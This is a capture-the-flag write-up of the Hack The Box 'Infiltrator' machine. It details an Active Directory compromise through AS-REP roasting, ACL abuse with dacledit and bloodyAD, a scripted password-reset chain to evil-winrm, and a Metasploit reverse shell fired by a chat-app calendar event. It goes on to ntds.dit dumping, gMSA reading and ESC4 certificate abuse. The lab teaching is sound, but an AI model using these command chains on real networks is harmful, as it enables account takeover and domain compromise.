RECON
Nmap
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Infiltrator.htb
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-09-01 06:39:46Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-09-01T06:43:21+00:00; -4s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-09-01T06:43:18+00:00; -2s from scanner time.
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2024-09-01T06:43:23+00:00; -2s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: infiltrator.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc01.infiltrator.htb, DNS:infiltrator.htb, DNS:INFILTRATOR
| Not valid before: 2024-08-04T18:48:15
|_Not valid after: 2099-07-17T18:48:15
|_ssl-date: 2024-09-01T06:43:18+00:00; -2s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=dc01.infiltrator.htb
| Not valid before: 2024-07-30T13:20:17
|_Not valid after: 2025-01-29T13:20:17
| rdp-ntlm-info:
| Target_Name: INFILTRATOR
| NetBIOS_Domain_Name: INFILTRATOR
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: infiltrator.htb
| DNS_Computer_Name: dc01.infiltrator.htb
| DNS_Tree_Name: infiltrator.htb
| Product_Version: 10.0.17763
|_ System_Time: 2024-09-01T06:42:44+00:00
|_ssl-date: 2024-09-01T06:43:18+00:00; -2s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
15220/tcp open unknown
15230/tcp open unknown
49666/tcp open msrpc Microsoft Windows RPC
49692/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49693/tcp open msrpc Microsoft Windows RPC
49698/tcp open msrpc Microsoft Windows RPC
49726/tcp open msrpc Microsoft Windows RPC
49747/tcp open msrpc Microsoft Windows RPC
57147/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
- Domain: http://infiltrator.htb
- Host:
DC01
withINFILTRATOR
as the NetBIOS domain name. - Ports and Services:
- Port 53: DNS - Simple DNS Plus.
- Port 80: HTTP - Microsoft IIS 10.0.
- Ports 88, 464: Kerberos - These indicate the presence of Active Directory. Start by attempting to enumerate users using tools like
kerbrute
orenum4linux
, trying for a Kerberoasting attack. - Ports 135, 593: MSRPC - Used for remote procedure calls, which can be explored for vulnerabilities.
- Ports 139, 445: NetBIOS/SMB - These are typical ports for file sharing and can be avenues for lateral movement or information gathering. Use
smbclient
orenum4linux
to enumerate shares. Checking for anonymous login and potentially accessible shares is crucial. - Ports 389, 636, 3268, 3269: LDAP/SSL-LDAP - Key services for Active Directory, often contain critical user and organizational information. Utilize
ldapsearch
or tools likeWindapsearch
to dump LDAP information. Look for user accounts, organizational units, or groups that might have weak passwords or misconfigurations. - Port 3389: RDP - Remote Desktop, often targeted for unauthorized access.
Port 80 | HTTP
Port 80 open for http://Infiltrator.htb.

The website appears to be a corporate site for a digital marketing company named "Infiltrator." The content suggests a focus on influence, expertise, and results-driven strategies in the digital marketing space.
Some team members are introduced:

Crawl potential internal usernames & roles from the web source code:
01 David Anderson ------ Digital Marketer
02 Olivia Martinez ----- CHIEF MARKETING
03 Kevin Turner -------- QA Tester
04 Amanda Walker ------- Co Founder
05 Marcus Harris ------- Developer
06 Lauren Clark -------- DIGITAL INFLUENCER
07 Ethan Rodriguez ----- DIGITAL INFLUENCER
And a fake "Contact us" form via a GET request in the bottom of the page, which won't help us anything there.
INFILTRATOR | L.Clark
Kerberoasting
From previous recon we have the names and roles collected, that we can format the usernames according to common Active Directory (AD) naming conventions. For example, user "David Anderson" tends to have a username in format of:
# First Name Last Name
david.anderson
danderson
david_anderson
# Initials
da
d.anderson
david.a
# First Initial Last Name
danderson
davidanderson
Thus, write a simple python script to output the name list:
# List of names
names = [
"David Anderson",
"Olivia Martinez",
"Kevin Turner",
"Amanda Walker",
"Marcus Harris",
"Lauren Clark",
"Ethan Rodriguez"
]
# Generate usernames
def generate_usernames(name):
first_name, last_name = name.lower().split()
usernames = [
f"{first_name}.{last_name}",
f"{first_name[0]}{last_name}",
f"{first_name}_{last_name}",
f"{first_name[0]}{last_name[0]}",
f"{first_name[0]}.{last_name}",
f"{first_name}.{last_name[0]}",
f"{first_name}{last_name}"
]
return usernames
# Generate and write the username list
with open("users.txt", "w") as f:
all_usernames = []
for name in names:
all_usernames.extend(generate_usernames(name))
# Remove duplicates and sort
all_usernames = sorted(set(all_usernames))
# Output result with domain suffix
for username in all_usernames:
f.write(f"{username}@infiltrator.htb\n")
print("Usernames have been written to users.txt")
kerbrute
accepts AD username formats for domain\user
or user@domain
:

Add DC domain to our local hosts file, run kerbrute
to test:
kerbrute userenum -d "infiltrator.htb" users.txt --dc "dc01.infiltrator.htb"

Retrieve some valid user names:
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
[email protected]
As we mentioned in the port scanning part, we can then try for a Kerberoasting attack. Actually we can use the GetNPUsers.py
script from the Impacket suite to enumerate users who have the "Kerberos property Do not require Kerberos preauthentication" (aka UF_DONT_REQUIRE_PREAUTH
) set.
This specific configuration allows us to request an authentication ticket (TGT) for these accounts without providing any valid credentials, leading to the extraction of an AS-REP hash. The goal of using GetNPUsers.py
is to identify and extract these AS-REP hashes, which can then be cracked offline to potentially reveal the plaintext password of a user:
impacket-GetNPUsers infiltrator.htb/ -usersfile users.txt -dc-ip dc01.infiltrator.htb

Lucky, we have the hash for user l.clark. Extract it and try to crack it using Hashcat with mode 18200:

INFILTRATOR | D.Anderson
Password Reuse
Try password reusing with the known password string:
# sed 's/@infiltrator.htb//' users.txt > users_only.txt
crackmapexec smb infiltrator.htb -u users_only.txt -p 'WAT?▒▒▒▒▒▒▒▒▒▒' -d infiltrator.htb

The STATUS_ACCOUNT_RESTRICTION
message indicates that the provided credentials for d.anderson are correct, but that the account is restricted from logging in under certain conditions.
Possible Causes of the Restriction:
- Logon Hours: The account might be restricted to log in only during specific hours or days.
- Logon Workstations: The account might be restricted to log in only from specific workstations or computers.
- Account Disabled: The account might be disabled or not allowed to log in.
- Password Expiration or Change Requirement: The account might require the password to be changed on the next login, or the password has expired.
- Domain Policy: There might be a domain policy in place that restricts the account from logging in under certain conditions (e.g., time of day, specific IP ranges).
Recon | BloodHound
With the password of user l.clark or d.anderson, we can use bloodhound-python
to collect domain information remotely:
# l.clark
bloodhound-python -d infiltrator.htb -c All -ns ${ip} --zip -u l.clark -p "WAT?▒▒▒▒▒▒▒▒▒▒\!" --use-ldap -dc dc01.infiltrator.htb
# d.anderson
bloodhound-python -d infiltrator.htb -c All -ns ${ip} --zip -u d.anderson -p "WAT?▒▒▒▒▒▒▒▒▒▒\!" -dc dc01.infiltrator.htb --dns-timeout 60
Tips: try to collect as much as possible testing the bloodhound options so that we can depict the exploit path in a good picture:

From the result of BloodHound, we know that both user l.clark and d.anderson belong to group MARKETING_TEAM, while d.anderson is also a member of group PROTECTED USERS:

The "Protected Users" group in Active Directory is a special security group that was introduced with Windows Server 2012 R2. This group is designed to increase the security of accounts that are members of this group by enforcing additional protections to mitigate credential theft and other attacks.
Thus, user d.anderson potentially has restrictions like:
- Credentials will not be cached on any systems he logs into.
- He will be unable to use NTLM for authentication, only Kerberos with modern encryption.
- His Kerberos tickets will have a shorter validity period, limiting potential misuse.
Further, we can discover a possible attack chain from bloodhound:

- [email protected] -> MARKETING [email protected]:
- GenericAll: The "[email protected]" account has
GenericAll
permissions over the MARKETING [email protected] group. - Implication: This means that D.ANDERSON can perform any action on the
MARKETING DIGITAL
group, including adding or removing members, changing group properties, and potentially escalating privileges.
- GenericAll: The "[email protected]" account has
- MARKETING [email protected] -> [email protected]:
- Contains: The MARKETING DIGITAL group contains "[email protected]" as a member.
- Implication: Since E.RODRIGUEZ is a member of the MARKETING DIGITAL group and D.ANDERSON has
GenericAll
over this group, he effectively has influence over E.RODRIGUEZ.
- [email protected] -> CHIEFS [email protected]:
- AddSelf: E.RODRIGUEZ has the ability to add himself to the CHIEFS MARKETING group.
- Implication: If E.RODRIGUEZ exercises this permission, he can gain the rights associated with the CHIEFS MARKETING group to proceed next step.
- CHIEFS [email protected] -> [email protected]:
- ForceChangePassword: The CHIEFS MARKETING group has the ability (
ForceChangePassword
) to force a password change for [email protected]. - Implication: This means that any member of the
CHIEFS MARKETING
group can reset the password forM.HARRIS
, thereby potentially taking over the account.
- ForceChangePassword: The CHIEFS MARKETING group has the ability (
- [email protected] -> ENTERPRISE KEY [email protected]:
- MemberOf: M.HARRIS is a member of the ENTERPRISE KEY ADMINS group.
- Implication: Membership in the ENTERPRISE KEY ADMINS group likely grants significant privileges, possibly even domain-wide administrative control.
- ENTERPRISE KEY [email protected] -> DC01.INFILTRATOR.HTB:
- AddKeyCredentialLink & CanPSRemote: The ENTERPRISE KEY ADMINS group can add key credentials to the domain controller (DC01.INFILTRATOR.HTB) and has PowerShell remoting capabilities.
- Implication: This effectively provides control over the domain controller, which can lead to full domain compromise.
INFILTRATOR | E.rogriguez M.harris
GenericAll | Write FullControl
Since we know the password for d.anderson is correct, we can obtain a TGT using kinit
or impacket-getTGT
and perform actions as d.anderson without needing to log in directly via SMB.
impacket-getTGT infiltrator.htb/d.anderson:'WAT?▒▒▒▒▒▒▒▒▒▒' -dc-ip dc01.infiltrator.htb
We need the TGT because he's member of PROTECTED USERS, only allowing us to apply Kerberos credentials with limitations:

Again for the same reason, we cannot use the TGT to remote log in the machine. But as d.anderson has GenericAll
permissions over the MARKETING DIGITAL group, we can perform any action using this TGT! For example, using dacledit.py
(update impacket to newest version) to give d.anderson full control over the MARKETING DIGITAL group/OU:
export KRB5CCNAME=d.anderson.ccache && \
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip ${ip}
The dacledit.py
script is part of the Impacket suite and allows us to modify the Access Control Lists (ACLs) on AD objects:

By granting d.anderson full control over the MARKETING DIGITAL OU, we give this user the ability to modify any objects within this OU, including groups and users. This is a critical step that sets up the ability to manipulate the E.RODRIGUEZ account following-on.
AddSelf | CHIEFS MARKETING
According to BloodHound result, we can then lateral to user e.rodriguez, who has AddSelf
privilege on group CHIEFS MARKETING. First we can change his password with the modified FullControl
rights from d.anderson:
python3 ~/tools/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip ${ip} -u "d.anderson" -p "WAT?▒▒▒▒▒▒▒▒▒▒" set password "e.rodriguez" "whoami?Axura123"
bloodyAD is a tool used for manipulating AD objects. Run this quick after gaining the full rights (or write a script to finish the attack since there's time limit: "Password can't be changed before -2 days, 23:57:46.943249 because of the minimum password age policy."). Now we've change the password for user e.roriguez:

Having the password, then we use getTGT
to request a ticket for e.roriguez:
impacket-getTGT infiltrator.htb/"e.rodriguez":"whoami?Axura123" -dc-ip dc01.infiltrator.htb

Add e.rodriguez to the CHIEFS MARKETING group with his AddSelf
privilege, we elevate the privileges of e.rodriguez in this step:
KRB5CCNAME=e.rodriguez.ccache python3 ~/tools/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --dc-ip ${ip} -u e.rodriguez -k add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez
ForceChangePassword
Now with the privilege of CHIEFS MARKETING group, we can Change password for m.harris with the ForceChangePassword
privilege:
KRB5CCNAME=e.rodriguez.ccache python3 ~/tools/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip ${ip} -u "e.rodriguez" -p "whoami?Axura123" set password "m.harris" "whoami?Axura456"

Again, we have to run this fast for the time limit. Sure we now understand how the attack works, let's write an automate script to finish the last step from beginning:
echo "[*] Set up dc-ip parameter..."
dcip=10.129.57.126
echo "[*] Getting d.anderson TGT ticket."
impacket-getTGT infiltrator.htb/d.anderson:'WAT?▒▒▒▒▒▒▒▒▒▒' -dc-ip $dcip
echo "[!] Write DACL to FullControl."
export KRB5CCNAME=d.anderson.ccache
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'd.anderson' -target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' 'infiltrator.htb/d.anderson' -k -no-pass -dc-ip $dcip
echo "[!] Change e.rodriguez password as \"whoami?Axura123\" with GenericAll right from d.anderson."
python3 ~/tools/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $dcip -u "d.anderson" -p "WAT▒▒▒▒▒▒▒▒▒▒" set password "e.rodriguez" "whoami?Axura123"
echo "[*] Getting e.rodriguez's TGT ticket."
impacket-getTGT infiltrator.htb/"e.rodriguez":"whoami?Axura123" -dc-ip $dcip
echo "[*] Add e.rodriguez to CHIEFS MARKETING group via AddSelf privilege."
export KRB5CCNAME=e.rodriguez.ccache
python3 ~/tools/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --dc-ip $dcip -u e.rodriguez -k add groupMember "CN=CHIEFS MARKETING,CN=USERS,DC=INFILTRATOR,DC=HTB" e.rodriguez
echo "[!] Change password for m.harris to \"whoami?Axura456\" via ForceChangePassword priv"
python3 ~/tools/bloodyAD/bloodyAD.py --host "dc01.infiltrator.htb" -d "infiltrator.htb" --kerberos --dc-ip $dcip -u "e.rodriguez" -p "whoami?Axura123" set password "m.harris" "whoami?Axura456"
echo "[*] Getting m.harris's TGT ticket."
impacket-getTGT infiltrator.htb/m.harris:'whoami?Axura456'
echo "[!] Get the session using m.harris's ticket via CanPsRemote priv"
KRB5CCNAME=m.harris.ccache evil-winrm -i dc01.infiltrator.htb -u "m.harris" -r INFILTRATOR.HTB
Debug the xpl.sh
script, but we get to an error result:

CanPSRemote | Realm
All processes seem to be right except the last step. Because user m.harris has CanPSRemote
privilege for that specific session, not the ability to remotely logon the machine (not REMOTE MANAGEMENT group):

Therefore, in the evil-winrm command, we need to specify -r INFILTRATOR.HTB
, indicating the Kerberos realm, which is typically the FQDN of the Active Directory domain.
The issue arises because the tool cannot locate the Key Distribution Center (KDC) for the INFILTRATOR.HTB
realm. This is typically due to a missing configuration in our /etc/krb5.conf
file, which is used by Kerberos tools to locate the KDC and properly authenticate.
Therefore, make sure that /etc/krb5.conf
is filled with proper realm information:
[libdefaults]
default_realm = INFILTRATOR.HTB
dns_lookup_realm = false
dns_lookup_kdc = false
forwardable = true
[realms]
INFILTRATOR.HTB = {
kdc = dc01.infiltrator.htb
admin_server = dc01.infiltrator.htb
}
[domain_realm]
.infiltrator.htb = INFILTRATOR.HTB
infiltrator.htb = INFILTRATOR.HTB
Configure the file and then run the script again:

We compromise user m.harris and take the user flag.
DC01 | Winrm_svc
Have a look at the users on the machine and check our current priv:

This is a very unstable shell. No AV detected, so manage it to MSF:

OutputMessenger
Check netstat
we found something interesting:

Ports 14118-14130 (OMServerService.exe): These ports appear to be related to OMServerService.exe
, which is Output Messenger, aka a secure and private messaging solution typically used within organizations for internal communication.
Meanwhile, port 14121, 14122 and 14123 are connected from the localhost:

According to the documentation of OutputMessenger, ports need to be opened from 14121 to 14124:
14121 TCP – Application
14122 TCP – File Transfer
14123 TCP – Web server for Browser Version
14124 TCP & UDP – VoIP for Voice/Video/Desktop Sharing
All the related ports have to be exposed to the attack machine, so OutputMessenger will function properly. Therefore, have our ligolo-ng port-forwarding tool ready to forward localhost to the magic IP 240.0.0.1:

As port 14123 is the web server for browser version, we can visit it locally then (http://240.0.0.1:14123/ombro/index.html), which requires credentials to proceed next step:

Enumerate program related data under C:\ProgramData
used to store application data that is common to all users. Some ZIP files and an EXE can be found under the C:\ProgramData\Output Messenger Server\Temp\
path:

Download these files to our attack machine, especially the database file OutputMessengerMysql.zip
reveals the MySQL credentials:

Connect to the database:
mysql -h 240.0.0.1 -P 14406 --database=outputwall -uroot -pibWijteig5 --skip-ssl

Enumerate the database, some tokens can be found:

Credentials for m.harris:

We are able to use it to login http://240.0.0.1:14123/ombro/index.html now and access all the chats:

The admin mentioned the UserExplorer.exe
file again and uploaded it to the server earlier. In OutputMessenger, port 14122 is for File Transfer, that we will need to install the client to download the file from the offcial site.
Install it on a windows machine, or use wine on kali:

Run wine "C:\Program Files\Output Messenger\OutputMessenger.exe"
to open the client app. Configure the sign-in host and credentials …
3 hours later—The application was not completely running on my kali (chat function down). So I could not access the file to download, like the shitty web app! I gave up this horrible wine thing and try to use this stupid app on windows by starting over the whole attack on windows machine.
Some tips for configuration on Windows. Run Chisel to forward ports:
# server
.\chisel.exe server --reverse --port 9999
# agent
start /MIN .\chisel.exe client 10.10.16.5:9999 R:socks

Use Proxifiers to create socks proxy so the the OutputMessenger App can access traffic from the localhost of target machine:

Now we are finally able to download that UserExplorer.exe
file from the chat (why we cannot just download it from the web app? No wonder the employees complain about it):

UserExplorer.exe
Decompile the file, the application appears to interact Active Directory to search for user details based on a given username, using the command mentioned before:
UserExplorer.exe -u <username> -p <password> -s <searchedUsername> [-default]
Furthermore, the ldapApp
code snippet reveals:

- The default username is
winrm_svc
. - The default password is encrypted as
"TGlu22oo8GIHRkJBBpZ1nQ/x6l36MV▒▒▒▒▒▒▒▒▒▒▒▒"
. - The decryption key is
"b14ca5898a4e4133bbce2▒▒▒▒▒▒▒▒▒▒▒▒"
.
Another code snippet Decryptor
:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
#nullable disable
public class Decryptor
{
public static string DecryptString(string key, string cipherText)
{
using (Aes aes = Aes.Create())
{
aes.Key = Encoding.UTF8.GetBytes(key);
aes.IV = new byte[16];
ICryptoTransform decryptor = aes.CreateDecryptor(aes.Key, aes.IV);
using (MemoryStream memoryStream = new MemoryStream(Convert.FromBase64String(cipherText)))
{
using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader((Stream) cryptoStream))
return streamReader.ReadToEnd();
}
}
}
}
}
The Decryptor
class can be used to decrypt the encrypted password from the earlier code snippet. The DecryptString
method uses AES (Advanced Encryption Standard) in CBC (Cipher Block Chaining) mode with a key and an IV (Initialization Vector). In this case, the IV is set to all zeros (new byte[16]
), which is a common practice when an IV isn't provided.
Therefore, we can write a python script to decrypt to encrypted default password:
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend
import base64
def decrypt_string(key: str, cipher_text: str) -> str:
key_bytes = key.encode('utf-8')
cipher_bytes = base64.b64decode(cipher_text)
if len(key_bytes) not in {16, 24, 32}:
raise ValueError("Key must be 16, 24, or 32 bytes long")
cipher = Cipher(algorithms.AES(key_bytes), modes.CBC(b'\x00' * 16), backend=default_backend())
decryptor = cipher.decryptor()
decrypted_bytes = decryptor.update(cipher_bytes) + decryptor.finalize()
return decrypted_bytes.decode('utf-8')
key = 'b14ca5898a4e4133bbce▒▒▒▒▒▒▒▒▒▒▒▒'
cipher_text = 'TGlu22oo8GIHRkJBBpZ1nQ/x6l36▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒'
print(decrypt_string(key,decrypt_string(key, cipher_text)))
- The
key
variable is a 32-character string used for AES decryption. - The
cipher_text
variable is the encrypted data that needs to be decrypted. - AES Encryption: AES is a symmetric encryption algorithm, meaning the same key is used for both encryption and decryption.
- CBC Mode: CBC mode requires an initialization vector (IV) for each encryption or decryption operation. In this case, the IV is set to 16 zero bytes.
- Base64: The cipher text is Base64 encoded, so it needs to be decoded before decryption.
Run the script, we have the default password for user winrm-svc—WinRm@▒▒▒▒▒▒▒▒
. From the account name, we know it could be able to log on remotely (and we can discover that it belongs to group REMOTE MANAGEMENT USERS):
evil-winrm -i dc01.infiltrator.htb -u winrm_svc -p 'WinRm▒▒▒▒▒▒▒▒'
We compromise the winrm-svc account as a foothold:

DC01 | K.turner
Run Winpeas we found credentials for user k.turner:

Apparently this is a password for the OutputMessenger app:

N.B. We can observe that the time for Admin and O.martinze is different, aka they are in different time zones.
DC01 | O.matinez
API Exploit
Sign in OutputMessenger with the winrm-svc account, we can see his conversation with O.martinez, that she's getting random website pop-ups on my desktop every day at 09:00 AM.

She mentioned that she hasn't shared password with anyone except the Chiefs_Marketing_chat group, which is a hint telling us we can possibly find her password if we are able to access that chat group.
Further, we found an api key for the lan_management
in the Notes option:

Go back to our winrm-svc shell and perform some enumeration. Enter the hidden folder C:\Users\winrm_svc\AppData
, run command to list and enumerate files:
Get-ChildItem -Path "C:\Users\winrm_svc\AppData" -Recurse
Some database files are discovered:

Dump all the DB data:

The DB file contains all data for the OutputMessenger app. We found some chat room IDs, including our target Chiefs_Marketing_chat
([email protected]):

Information about user martinez (o.martinez):

Read official documentation for OutputMessenger API usage. We can use GET method for retrieving a chatroom log as HTML in the following format:
GET /api/chatrooms/logs?[roomkey][email protected]&[fromdate]=2018/07/24&[todate]=2018/07/25
Combine all the resources we retrieve above, we are able to access the API at port 14125 using the following format. On kali:
curl -s -k -H "API-KEY: 558R501T5I▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒" -H "Accept: application/json, text/javascript, */*" -H Host: "infiltrator.htb:14125" "http://127.0.0.1:14125/api/chatrooms/[email protected]&fromdate=2024/02/01&todate=2024/09/01"
Or on windows:
Invoke-WebRequest -Uri "http://127.0.0.1:14125/api/chatrooms/[email protected]&fromdate=2024/02/01&todate=2024/09/01" `
-Headers @{
"API-KEY" = "558R501T5I▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒"
"Accept" = "application/json, text/javascript, */*"
"Host" = "infiltrator.htb:14125"
} -UseBasicParsing
Receive a 200 response:

The response we are seeing in RawContent
is encoded in HTML or JSON, which contains Unicode escape sequences (e.g., \u003c
). The logs are stored in the logs
field of the JSON response, so we need to extract and decode the logs content:
# Extract the raw logs from the response
$response = Invoke-WebRequest -Uri "http://127.0.0.1:14125/api/chatrooms/[email protected]&fromdate=2024/02/01&todate=2024/09/01" `
-Headers @{
"API-KEY" = "558R501T5I60▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒"
"Accept" = "application/json, text/javascript, */*"
"Host" = "infiltrator.htb:14125"
} -UseBasicParsing
# Convert the JSON response to an object
$jsonResponse = $response.Content | ConvertFrom-Json
# Extract the 'logs' data
$logs = $jsonResponse.logs
# Display the decoded logs
Write-Host "Decoded Logs: $logs"
Run this script and we can find out the password of user o.martinez through their group chat:

RevShell via Calendar
We can use the credentials of o.martinez to sign in the OutputMessenger again. There're some other functionalities we can explore with the windows-only app.

Apart from other accounts, there are many events in the Calendar options:

Click "Settings" we can set up an iCal Address, which is a config file for updating time zone (can be downloaded as a module to refer later):

We can also create a new calendar and provide a new URL:

Simple test and it works:

And we can create a new Event for specific Calendar, including "Run application" by uploading a local file:

To exploit this, first I upload a malicious EXE (shell4446.exe
) generated by MSF to c:\Temp
on the target machine (the file must be uploaded from the same folder name in our attack machine—the app just verifies it):

In another testing enviroment the TEMP folder disappeared (bad behaviour deleted by other players?). Then use any shared folder we can write by all users. Or
New-Item -Path "C:\Temp" -ItemType Directory
.
Then we can edit the event for a near time of our local machine time to run the application under path C:\Temp\shell4446.exe
:

If now we sign in the OutputMessenger app as other user, like k.turner, we can discover that the time zones between admin & o.martinez are different:

Because user o.martinez is updating her date via those calendar events. We can download the ICS file in the app default path that we saw in the "New calendar" option, which is:
BEGIN:VCALENDAR
VERSION:2.0
PRODID:-//ddaysoftware.com//NONSGML DDay.iCal 1.0//EN
BEGIN:VTIMEZONE
TZID:Pacific Standard Time
BEGIN:STANDARD
DTSTART:20231102T020000
RRULE:FREQ=YEARLY;BYDAY=1SU;BYHOUR=2;BYMINUTE=0;BYMONTH=11
TZNAME:Pacific Standard Time
TZOFFSETFROM:-0700
TZOFFSETTO:-0800
END:STANDARD
BEGIN:DAYLIGHT
DTSTART:20230301T020000
RRULE:FREQ=YEARLY;BYDAY=2SU;BYHOUR=2;BYMINUTE=0;BYMONTH=3
TZNAME:Pacific Daylight Time
TZOFFSETFROM:-0800
TZOFFSETTO:-0700
END:DAYLIGHT
END:VTIMEZONE
END:VCALENDAR
This illustrates her time zone. Create one that matches our local time zone, and serve the file via HTTP server, let the user fetch this file via the API:

Click the refresh button then we can update her time zone manually via our provided ICS file:

Now if we sign in as k.turner or other users, we can see that the time zone of user o.martinez is updated:

Wait a few minutes until it hits the time we set up for the schedule task event, we have a reverse shell as user o.martinez:

INFILTRATOR | Lan_management
After we compromise o.martinez, run the same gci -recurse
command as we did before to enum the hidden folder c:\users\o.martinez\appdata
. We found some database files again:

A network capture file in the PCAP-NG (Packet Capture Next Generation) format:

This is interesting. It is used to store network traffic captured from a network interface using tools like Wireshark, tcpdump, or other packet sniffers.
Without any hesitation, let's download them to our local machine. File paths:
C:\\users\\o.martinez\\appdata\\Roaming\\Output Messenger\\FAAA\\OM.db3
C:\\users\\o.martinez\\appdata\\Roaming\\Output Messenger\\FAAA\\OT.db3
C:\\users\\o.martinez\\appdata\\Roaming\\Output Messenger\\FAAA\Received Files\\203301\\network_capture_2024.pcapng
Review the traffic from the pcapng
file using Wireshark, we see a POST request to /login
endpoint exposing some sign-in password (not useful):

And she entered the site to view and download a Bit-locker backup file:

We can choose to export the one in octet-stream
from Wireshark:

The 7z file seems to contain a backup but no password from o.martinez works for it:

So I gotta bruteforce it. At first, I used 7z2hashcat to extract the hashes from the file, then cracked it using Hashcat with mode 11600:

But the password cracked from Hashcat (trombone
) is not working (confused face). So I used John to crack it again (before that, run 7z2john
to extract hash), that this time it's cracked in one second:

And the password works (weird face). We can open the html file containing a recovery key of the Microsoft account relating to "LAN Management" in French (translated in English via Chrome):

Further, there's another important packet in Wireshark, that the user had made a request to change an auth token:

Have a recall on the nmap scan, we found RDP port 3389 available for the machine. And this turns out to be a password for user o.martinez to sign in remotely. Bloodhound also reveals her CanRDP
priv:

Windows comes with a built-in Remote Desktop Client (mstsc.exe
), which we can use to connect to the target machine:

And there's a local E:\ drive, which is not accessible via the reverse shell. It has been locked by Bitlocker, that we can use the recovery key we obtained from the 7z file to unlock it:

There's a backup directory inside it called Windows Server 2012 R2 - Backups
. We can access the Administrator directory, but there's no flag in it. However, we found another 7z backup file containing some credentials (the remote desktop is so lagging and has time-limit restriction set, it pained my ass to enum the path):

Inside the 7z file, there's an ntds.dit
. This is a crucial file in Active Directory environments because it contains all the information about the domain users, including their hashed passwords:

Impacket has a tool called secretsdump.py
which can extract password hashes directly from the ntds.dit
file. The ntds.dit
file works in combination with the SYSTEM registry hive to provide password hashes.
secretsdump.py -ntds 'Active Directory/ntds.dit' -system registry/SYSTEM LOCAL

However, I found none of these hashes work for the target. Probably these are all old credentials backed up.
To enumerate the NTDS file, we can use the tool ntdsdotsqlite:
ntdsdotsqlite Backup_Credentials/Active\ Directory/ntds.dit --system Backup_Credentials/registry/SYSTEM -o NTDS.sqlite
Dump using sqlite3 NTDS.sqlite ".dump" > output-ntds.sql
, we found the password for user lan_management recorded in the description, like the case for user k.turner:

INFILTRATOR | Infiltrator_svc$
ReadGMSAPassword
With the password, we can try to run bloodhound-python
remotely again to gather domain information, because I hadn't found any information related to lan_management user in the previous bloodhound enumeration:

Upload the newly gathered digestor, we can now search information about user lan_management. Turns out it has ReadGMSAPassword
priv on another user infiltrator_svc$:

I have explain this priv in the Mist and Ghost box, so you can step back for details if interested. Use the same trick with Crackmapexec to read the password of that service account:
python3 crackmapexec.py ldap 10.10.11.31 -u lan_managment -p 'l@n▒▒▒▒▒▒▒▒' --gmsa

INFILTRATOR | Administrator
ESC4 | Certipy
The newly compromised account infiltrator_svc$ is a machine account serving for some kind of service, which requires us to exploit ADCS (certficates) to look into it further.

Computer accounts tend to have high-level privilege in Windows system. With its hash, we can use Certipy to query remotely:
certipy-ad find -u infiltrator_svc$ -hashes '9ae7de37439f359608eccf2cff5d32b9' -target infiltrator.htb -dc-ip 10.10.11.13

The outcome is tremendous. For the last self-customed template Infiltrator_Template
, the scanning result just tells us it's vulnerable to ESC4 straight forward:

Template details:
{
"Template Name": "Infiltrator_Template",
